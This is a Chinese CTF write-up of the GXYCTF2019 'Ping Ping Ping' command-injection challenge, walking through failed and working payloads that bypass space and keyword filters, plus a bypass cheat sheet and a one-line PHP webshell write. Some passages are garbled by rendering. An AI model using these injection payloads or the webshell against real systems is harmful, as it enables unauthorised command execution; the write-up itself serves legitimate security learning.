[GXYCTF2019] PingPingPing 命令注入实操笔记

GXYCTF2019Ping Ping Ping 命令注入实操笔记

平台 : CTF²

难度 : 简单

类型: Web / 命令注入(RCE)


目录

  1. 题目信息
  2. 完整解题流程
  3. 原理讲透:命令注入的本质
  4. 踩坑记录:六种失败方式逐个分析
  5. 最终解法原理
  6. 绕过空格的完整方法论
  7. 绕过关键字的完整方法论
  8. 实战什么时候想到这些招
  9. [payload 速查与万能模板](#payload 速查与万能模板)
  10. 关键经验总结
  11. 学到的教训与认知升级

一、题目信息

  • 题目名称: GXYCTF2019Ping Ping Ping
  • 靶机特征 : /?ip= 参数
  • 页面功能: 模拟 ping 命令,输入 IP 地址执行 ping

二、完整解题流程

2.1 确认命令注入

http 复制代码
GET /?ip=127.0.0.1;ls HTTP/1.1

返回 : 看到 flag.phpindex.php ------ 命令注入成功!

; 是 shell 的命令分隔符,前面的 ping 127.0.0.1 执行完后会继续执行 ls。这个靶机的"ping"功能是把 ip 参数拼到系统命令里跑------典型命令注入入口。

2.2 读 flag

http 复制代码
GET /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php HTTP/1.1

返回: flag 出现。

详细构造过程见第五节。


三、原理讲透:命令注入的本质

3.1 什么是命令注入

命令注入(Command Injection)= 服务器把用户输入直接拼到系统命令里执行,攻击者能塞入额外命令。

它和 SQL 注入、XSS 是一类问题(输入不可信),但威胁更大------一旦成功,直接拿到系统 shell,相当于服务器被你控制了。

3.2 这道题的执行链路

复制代码
用户访问:  /?ip=127.0.0.1
        ↓
PHP 后端: $cmd = "ping -c 4 " . $_GET['ip'];
        ↓
执行:     shell_exec($cmd)  →  system($cmd)
        ↓
实际跑:   ping -c 4 127.0.0.1

如果我们传 127.0.0.1;ls,实际执行:

bash 复制代码
ping -c 4 127.0.0.1;ls

; 把命令分两段,前一段正常 ping,后一段 ls 列目录。命令注入的核心就是"用分隔符塞入额外命令"。

3.3 为什么会有这道题

开发者写 ping 功能时图省事,直接用字符串拼接用户输入:

php 复制代码
$ip = $_GET['ip'];
system("ping -c 4 $ip");  // 错误示范

正确做法是用 escapeshellarg() 包裹用户输入,或者干脆不用 system(),改用专门库。正因为有大量这种"图省事"的代码,命令注入才长期占据 OWASP Top 10。


四、踩坑记录:六种失败方式逐个分析

这部分是这道题最值得讲的------所有"踩坑"背后都对应着一种绕过技术。每种失败都要搞清楚是被哪种机制拦下来的,下次遇到类似过滤能直接套。

坑 1:直接 cat flag.php 失败

http 复制代码
GET /?ip=127.0.0.1;cat flag.php HTTP/1.1

报错 : /f*ck your flag!

根因分析

这里同时有两个问题:① flag 关键字被检测(字符串里出现"flag"整词);② 空格可能也被过滤了。但报错是"f*ck your flag!"------明确指向 flag 关键字。空格是否被过滤需要单独验证(坑 2 给了答案:是)。

绕过的方向就两条路:绕空格 (让命令能跑起来)+ 绕关键字(让"flag"不连着出现)。

坑 2:尝试 ${IFS} 绕过空格

http 复制代码
GET /?ip=127.0.0.1;cat${IFS}flag.php HTTP/1.1

报错 : /f*ck your symbol!

根因分析

${IFS} 是 bash 的内部字段分隔符变量(Internal Field Separator),默认是空格、制表符、换行。在命令行里 ${IFS} 能当空格用。

先排除一个错误判断 :很多教程会写"{IFS} 失败说明 被过滤了"------这是错的。本题最终 payload cat$IFS$9fla$a.php 里到处都是 $ 字符,并且跑通了,所以 $ 字符本身绝对没被过滤

那这次为什么报"f*ck your symbol!"(注意没有 "flag" 字样)?最可能的解释有两种:

  1. 大括号 { } 被过滤${IFS} 写法必带花括号)
  2. 字符串 IFS 被过滤(出现 IFS 字面量就拦)

仅凭这一条报错无法直接区分,要靠"对照组"判断:

验证 payload 如果能过 如果拦了
cat$IFS flag.php(不带花括号) 证实花括号是问题 说明 IFS 字符串本身被拦
cat flag${x}file.php(花括号但不是 IFS) 证实仅 IFS 字符串被拦 证实花括号被拦
cat{IFS}flag.php(无 $ 只有花括号 + IFS) 单独花括号没事 配合 IFS 一起被拦

推断 :结合坑 3 $IFS$9 能成功(不含花括号),本题最可能是大括号 { } 被过滤 。但这个推断没经过直接验证,是基于"哪个假设能同时解释坑 2 和坑 3"反推的,不百分百严谨。严谨做法是把上面的对照表试一遍。

坑 3:尝试 $IFS$9

http 复制代码
GET /?ip=127.0.0.1;cat$IFS$9flag.php HTTP/1.1

失败 : flag 关键字还是被检测到

根因分析

$IFS$9 是绕过空格的另一种写法。原理:$IFS 是 bash 内部变量(值是空格/tab/换行),$9 是这个 shell 的第 9 个位置参数(一般不存在,值为空字符串)。$9 在 Linux bash 下作为"占位符"跟在 $IFS 后面,作用是防止某些特殊解析------这是 bash 的一个边角特性。两者拼接 $IFS$9 整体等价于一个空格,且不含花括号

注意$IFS$9 跑通了,结合坑 2 报错,能反推几个关键结论:

  1. $ 字符没被过滤 (否则 $IFS$9 也会被拦)
  2. 空格确实被过滤 (否则一开始 cat flag.php 不会失败)
  3. flag 关键字被过滤(最终被这个拦了)

至于"为什么 ${IFS} 失败而 $IFS$9 成功"------只能确认花括号 { } 是关键差异 (见坑 2 分析),但严格说需要对照组 payload 才能完全证实,单凭这两条下结论属于合理推断但非铁证。

坑 4:尝试通配符 *?

http 复制代码
GET /?ip=127.0.0.1;cat fl*.php HTTP/1.1
GET /?ip=127.0.0.1;cat fl?g.php HTTP/1.1

报错 : f*ck your symbol!

根因分析

fl*.php 想用通配符 * 匹配 flag.phpfl?g.php 想用 ? 匹配一个字符。两者都被拦了------/ 后面跟 f*ck 这种字眼说明符号被过滤(*? 都是 shell 通配符)。

为什么不能简单"通配绕过"

通配符在 shell 里是 glob 模式,由 shell 自己展开。但本题显然在 system() 调用前用 PHP 做了字符串检查,匹配到 * ? [] 这些 shell 特殊字符就直接拦下。这是"在系统层之前就拦"的思路,不让恶意 payload 到达 shell。

坑 5:尝试 [] 字符集

http 复制代码
GET /?ip=127.0.0.1;cat fl[a]g.php HTTP/1.1

报错 : f*ck your symbol!

根因分析

fl[a]g.php 想用字符集 fl[a]g 匹配 flaga 命中字符集里的 a)。[] 也是 shell 通配符,被一并拦了。说明本题对 shell 通配符的过滤是组合拳:* ? [] 全都过不去。

坑 6:完整变量赋值失败

http 复制代码
GET /?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php HTTP/1.1

失败原因$b 变量值是 ag,拼起来 $a$b = flag,仍然触发 flag 关键字过滤

根因分析(很多人栽在这)

变量赋值的本质是 shell 的字符串拼接。a=fl$a 替换为 flb=ag$b 替换为 ag,所以 $a$b 最终是 flag------和直接写 flag 没区别 。PHP 后端的检查发生在 system() 调用前,它检查的是 $_GET['ip'] 这个原始字符串,而不是命令最终拼接结果。所以你无论怎么分,ip 参数里只要包含 flag 这个子串(首尾相连),就会被拦。

所以正确做法不是"把 flag 拆成两段",而是"让 flag 永远不完整出现"fla$a 这种写法, a 变量是 ' g ' ,但 i p 字符串里只有 ' f l a ' + ' a 变量是 `g`,但 ip 字符串里只有 `fla` + ` a变量是'g',但ip字符串里只有'fla'+'a+.php,没有任何位置出现 flag` 这个连续子串------服务器黑名单查不到,绕成功。


五、最终解法原理

payload

http 复制代码
GET /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php HTTP/1.1

前置验证:这个 payload 跑通了,反过来证明:

  • $ 字符没被过滤(payload 里有两个 $IFS$9$a
  • 空格被过滤了(必须用 $IFS$9 占位)
  • flag 关键字被过滤了(fla$a 拆分后才过)
  • 完整 flag 字符串不能连续出现(a=g 只赋值最后一个字符)

逐段拆解

部分 含义
127.0.0.1 合法 IP,让前面的 ping 命令正常跑(也可以省略,反正要 flag)
; 命令分隔符,结束 ping,开始新命令
a=g shell 变量赋值:让 $a 在后续命令中等于 g
cat 读文件命令
$IFS$9 空格占位(绕过空格过滤)
fla 字符串片段 fla(永远不完整)
$a 变量引用,运行时被替换为 g
.php 文件扩展名

命令执行全过程

bash 复制代码
ping -c 4 127.0.0.1; a=g; cat $IFS$9 fla$g .php

shell 实际执行时:

  1. ping 127.0.0.1(先 ping 一下,没意义但合法)
  2. a=g(定义变量)
  3. cat fla$g.php(变量 a 展开成 g , a 展开成 g, a展开成g,IFS$9 当空格)

最终命令:cat flag.php ------ 但这一步发生在 shell 内部,PHP 的关键词检查看不到

为什么这招能绕

关键洞察:PHP 端检查的是 URL 里的原始字符串,shell 端执行的是命令解析后的最终字符串。两者是两个不同的时机。

  • PHP 黑名单扫 ip 参数:找到 fla$a.php 字符串,没有 flag 子串 → 通过
  • shell 解析命令:把 $a 替换成 g,得到 cat flag.php → 执行成功

这就是"在 server 端做检查"和"在 shell 端做展开"的时间差攻击。


六、绕过空格的完整方法论

空格绕过的本质:shell 在解析命令时,把多个 token 用 IFS(默认空格/tab/换行)分开。只要能塞一个"等价于空格"的分隔符进去,命令就能跑。

方法 原理 payload 示例 限制
空格 原生分隔符 cat flag.php 最直接,被拦就用别的
Tab (%09) 同样是 IFS cat%09flag.php 有时也被拦
${IFS} bash 内部变量 cat${IFS}flag.php 本题大括号 {} 被过滤 (或 IFS 字符串被拦);$ 本身没被过滤(见坑2)
$IFS$9 IFS + 位置参数占位 cat$IFS$9flag.php 本题可过
< 重定向 输入重定向符 cat<flag.php 本题 < 被拦
> file 输出到文件(多步) echo flag>1.txt 复杂但通用
'' 拼接 空字符串 cat''flag.php 本题 ' 被拦
{} 逗号 bash 大括号扩展 {cat,flag.php} 较冷门,部分环境不支持
URL 编码 %20 / + cat%20flag.php 后端 URL 解码后会还原为真空格
注释符 cat%0aflag.php 换行符也是 IFS 同样需后端不解码

**$IFS 9 为啥能用 ∗ ∗ : ' 9 为啥能用**:` 9为啥能用∗∗:'IFS 是 bash 的内部字段分隔符变量, 9 ' 是第 9 个位置参数(通常不存在,是空字符串)。两者拼接 ' 9` 是第 9 个位置参数(通常不存在,是空字符串)。两者拼接 ` 9'是第9个位置参数(通常不存在,是空字符串)。两者拼接'IFS 9 ' 整体是 ' ' (空格),但避免了 ' 9` 整体是 ` `(空格),但避免了 ` 9'整体是''(空格),但避免了'{IFS}` 这种被黑名单的写法。

小知识 :Linux 和 macOS 的 bash 对 $9 行为略有差异,但 IFS9 在 Linux CTF 靶机里通用。


七、绕过关键字的完整方法论

关键字绕过的本质:让目标字符串(flag)不出现在原始 URL 里,但在 shell 执行时拼出来

方法 原理 payload 本题可用
直接写 原字符串 cat flag.php
* 通配符 shell glob cat fl*.php 否(* 拦)
? 单字符通配 shell glob cat fl?g.php 否(? 拦)
[] 字符集 shell glob cat fl[a]g.php 否([] 拦)
完整变量拼接 $a$b 展开 a=fl;b=ag;cat$a$b.php 否($a$b 拼出 flag
片段变量拼接 $a 只放一段 a=g;cat fla$a.php
反斜杠 f\l\a\g shell 不会展开 \ 否(一般不推荐)
引号嵌套 fl""ag shell 拼接后等于 flag 否(PHP 端仍能看到 flag 子串)
编码 base64 / hex `echo ZmxhZy5waHA= base64 -d`
内联执行 cmd 反引号执行命令 看环境
十六进制字面量 $'\x66\x6c\x61\x67' bash 支持 通用

核心要点:要么用"让服务器检查时看不到完整关键字",要么用"让命令运行时才拼出来"。本题选的是前者。


八、实战什么时候想到这些招

这是新手的核心问题------看到一道 RCE 题,思路该怎么展开?

8.1 看到 ?ip= 时的第一反应

参数名带 ip / host / url / cmd / exec / ping / domain 等词,且值会回显到页面上 → 高度怀疑命令注入

第一招永远用:;ls|ls||ls&&ls&ls 试一遍,看哪个能多执行命令。

分隔符 含义 适用场景
; 无论前面成不成功都执行 最常用
` ` 管道,前一个的输出作为后一个的输入
` `
&& 前面成功才执行 配合"探测"逻辑
& 后台执行 容易出问题,少用
%0a 换行(URL 编码) 后端不解码时用

8.2 命令能跑之后,第二步

确认能塞命令后:

  1. ;ls 看目录结构,找到 flag 文件在哪
  2. ;cat flag 试一下,看看错误信息提示什么

错误信息非常关键。/f*ck your flag! 直接告诉你关键字被拦了,且拦截发生在参数解析层(PHP 端)。

8.3 看到"f*ck"类提示时的判断

复制代码
/f*ck your flag!    → 字符串里出现 "flag" 子串
/f*ck your symbol!  → 出现了特殊字符(* ? [ ] $ 等)
/f*ck your space!   → 出现了空格

不同提示对应不同绕过方向。

8.4 一句话总结识别口诀

命令注入识别顺序

复制代码
看到 ip/host/cmd 类参数 + 回显 → 试 ;ls → 看到 flag 文件 → 试 cat flag
        ↓ 报错
看错误信息判断拦的是关键字/空格/符号
        ↓
分头绕:空格走 $IFS$9,关键字走变量拼接
        ↓
通配 / 通杀试

8.5 决策树

复制代码
cat flag.php 失败
    ├─ 报错 "flag"  → 关键字过滤
    │       ├─ 试通配符 * ? []
    │       │       └─ 通配符也拦 → 改用变量拼接
    │       └─ 直接用变量赋值拆解
    │
    └─ 报错 "space" / 别的  → 空格过滤
            ├─ $IFS$9
            ├─ < 重定向
            └─ URL 编码(看后端解码情况)

九、payload 速查与万能模板

9.1 本题最终 payload

复制代码
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

9.2 命令注入通用模板

仅空格被过滤

bash 复制代码
cat$IFS$9flag.txt
cat<flag.txt
{cat,flag.txt}

仅关键字被过滤(空格可用):

bash 复制代码
a=fl;b=ag;cat $a$b.txt   # 大多数情况会被拦(拼出 flag)
a=g;cat fla$a.txt          # 拆开变量赋值,绕

空格 + 关键字都被过滤(本题情况):

bash 复制代码
a=g;cat$IFS$9fla$a.txt    # 本题答案

其他万能招

bash 复制代码
# 编码绕过
echo ZmxhZy50eHQ=|base64 -d|tee 1.txt    # 复杂但通用

# 内联十六进制
fla$'\x67'.txt                            # bash 支持

# 字符串拼接
fl''ag.txt                                 # 空引号拼接(看环境)

# 用变量赋值绕完整关键字
b=ag;cat$IFS$9fl$b.txt                   # 另一种拆法

# 写文件 + 读
echo "<?=system('cat /flag');?>" > a.php  # 写马

9.3 一行测试代码(提取自 CTF² 实战)

bash 复制代码
?ip=127.0.0.1;echo$IFS$9$PATH

这招用于探测服务器环境(不是每个变量都拦),同时验证空格绕过是否有效。


十、关键经验总结

10.1 命令注入绕过速查表

过滤类型 绕过方案
空格 $IFS<{}Tab、URL 编码
flag 等关键字 变量赋值拆解、通配符、编码
$ 改用其他方式绕空格
* ? [] 用变量赋值代替通配
; ` `
cat 改用 tac more less head tail nl od xxd

10.2 调试思路

  1. 先测基础 : 127.0.0.1;ls 测命令分隔符 ; 是否可用
  2. 再测回显 : ;echo test 确认命令输出能回显到页面
  3. 再读文件 : ;cat flag 看错误提示
  4. 最后拆解: 根据错误信息判断过滤类型,分头绕

10.3 常见误区

  • 误区 1:a=fl;b=ag;cat $a$b.php ------ 变量值拼起来还是 flag,触发过滤
  • 误区 2:以为通配符一定有用 ------ 很多靶机会把 * ? [] 一起拦
  • 误区 3:以为 cat 被拦就完全没招 ------ tac more less head tail 都能读文件
  • 误区 4:直接堆砌 payload 不分析错误信息 ------ 错误信息是最重要的线索

十一、学到的教训与认知升级

11.1 教训

错误 正确思路
试一堆 payload 都不通就懵 先看错误信息判断过滤类型,再针对性绕
通配符失败就放弃 通配符失败 → 改用变量赋值 + 字符串拼接
变量赋值都设完整关键字 变量值要"少"------只赋值不完整的一段

11.2 认知升级

1. 报错信息是金矿

/f*ck your flag! 这种带脏话的报错其实是出题人在帮你------明确告诉你拦的是 flag。新手常忽略错误信息,或者只看"失败"不看具体内容,这是最大的浪费。

2. 时间和层级的错位是绕过核心

命令注入绕过的本质都是"让检查层看不到,让执行层看到"。PHP 黑名单扫原始字符串,shell 在执行时做变量展开------两个时机不同,就是攻击空间。

3. 变量赋值要"少"才安全

a=fl;b=ag 这种看似分开了,但 $a$b 拼起来还是 flag,字符串里照样出现完整关键字。a=g 只赋值一段才稳。

4. 命令注入不是"试运气",是"分析过滤"

每试一个 payload 失败,都要把"为什么失败"搞明白。被拦的是关键字?空格?符号?只有搞清拦截维度,才能针对性绕。

5. 通配符 vs 变量赋值

  • 通配符绕的是 shell glob 展开层,依赖 shell 端 glob 解析
  • 变量赋值绕的是字符串匹配层,依赖 shell 端变量展开

前者依赖 * ? [] 这些字符能传到 shell,后者依赖 $a 形式能传到 shell。两者方向不同,但都能绕关键字匹配。

6. 进阶:写文件 + 包含

如果所有读文件命令都被拦了,还有最后一招:写一个 PHP 文件包含 flag。echo "<?php include '/flag';?>" > a.php,然后访问 a.php。这种"写马"思路在真实渗透里也常用。


附:真实 flag

复制代码
CTF2{cca12967-2b6b-4f9b-a568-e00f3ec06586}

容器环境每次启动 flag 不同,本笔记里的 flag 仅作格式参考。复现时以你实际拿到的为准。


附:核心原理速记卡

记这 3 条就够应付 80% 的命令注入题

  1. 空格$IFS$9(Linux bash 通用)
  2. 关键字a=片段;cat 固定$a.php(只赋值不完整的一段)
  3. 试命令;ls 试分隔符 → 看错误信息 → 针对性绕

剩下的就是熟能生巧------多做几道 RCE 题,遇到不同过滤组合自然就会拆招了。

相关推荐
wyjcxyyy18 天前
若依框架漏洞总结
java·ctf
print_Hyon24 天前
【CTF-WEB-sql注入】使用随波逐流WEB安全工具进行SQLMAP注入
ctf
print_Hyon1 个月前
【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门
ctf
print_Hyon1 个月前
【CTF-MISC-压缩包】零宽字符+OpnenPuff+bkcrack破解层层文件加密
ctf
Sagittarius_A*1 个月前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
print_Hyon1 个月前
【CTF-MISC-音频和视频】分析音频频谱,提取图片中的文件并尝试解码得到rar文件
ctf
print_Hyon1 个月前
【CTF-MISC-盲水印】压缩包8字节反转+bkcarck破解压缩包+双图盲水印
ctf
福来阁86号技师1 个月前
2026-now 网络安全笔记
网络安全·ctf·awd
print_Hyon1 个月前
【CTF-MISC-压缩包】bkcrake通过已知明文文件攻击来破解加密的压缩包
ctf